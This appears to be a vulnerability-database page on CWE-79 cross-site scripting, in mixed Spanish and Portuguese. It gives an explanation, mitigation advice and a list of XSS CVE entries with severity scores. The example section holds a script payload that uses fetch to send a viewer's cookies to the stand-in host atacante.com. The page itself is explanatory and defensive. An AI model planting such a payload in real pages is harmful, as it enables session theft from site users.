Fallos del tipo CWE-79

29.846 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-52468HIGHChamilo: Stored XSS Vulnerability via CSV User ImportEPSS 0.4%CVE-2025-22855LOWAn improper neutralization of input during web page generation ('Cross-site Scripting') [CWE-79] vulnerability in Fortinet FortiClient beforEPSS 0.4%CVE-2025-2699MEDIUMGetmeUK ContentTools Image cross site scriptingEPSS 0.4%CVE-2025-9931MEDIUMJinher OA POST Request login!changePassWord.action cross site scriptingEPSS 0.4%CVE-2024-9440MEDIUMSlim Select 2.0 createOption "text" XSSEPSS 0.4%CVE-2026-85022MEDIUMlanggenius dify WebApp Sign-In mail-and-password-auth.tsx router.replace cross site scriptingEPSS 0.4%CVE-2023-27777MEDIUMCross-site scripting (XSS) vulnerability was discovered in Online Jewelry Shop v1.0 that allows attackers to execute arbitrary script via a EPSS 0.4%CVE-2026-86644MEDIUMstar7th showdoc API Page Save Endpoint editormd.js cross site scriptingEPSS 0.4%CVE-2025-31136MEDIUMFreshRSS vulnerable to Cross-site Scripting by <iframe>'ing a vulnerable same-origin page in a feed entryEPSS 0.4%CVE-2022-22402MEDIUMIBM Aspera Faspex cross-site scriptingEPSS 0.4%CVE-2023-41860MEDIUMWordPress Travel Map Plugin <= 1.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-3023MEDIUMAnnounceKit <= 2.0.9 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-54341MEDIUMWebgrind 1.1 - Reflected Cross-Site Scripting (XSS) via file ParameterEPSS 0.4%CVE-2023-2498MEDIUMGo Pricing - WordPress Responsive Pricing Tables <= 3.3.19 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-23900MEDIUMWordPress Easy Forms for Mailchimp Plugin <= 6.8.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-1661MEDIUMDisplay post meta, term meta, comment meta, and user meta <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-40641MEDIUMStored Cross-Site Scripting (XSS) in the Multi-purpose Inventory Management SystemEPSS 0.4%CVE-2024-57409MEDIUMA stored cross-site scripting (XSS) vulnerability in the Parameter List module of cool-admin-java v1.0 allows attackers to execute arbitraryEPSS 0.4%CVE-2024-45047MEDIUMPotential mXSS vulnerability due to improper HTML escaping in svelteEPSS 0.4%CVE-2023-52274MEDIUMmember/index/register.html in YzmCMS 6.5 through 7.0 allows XSS via the Referer HTTP header.EPSS 0.4%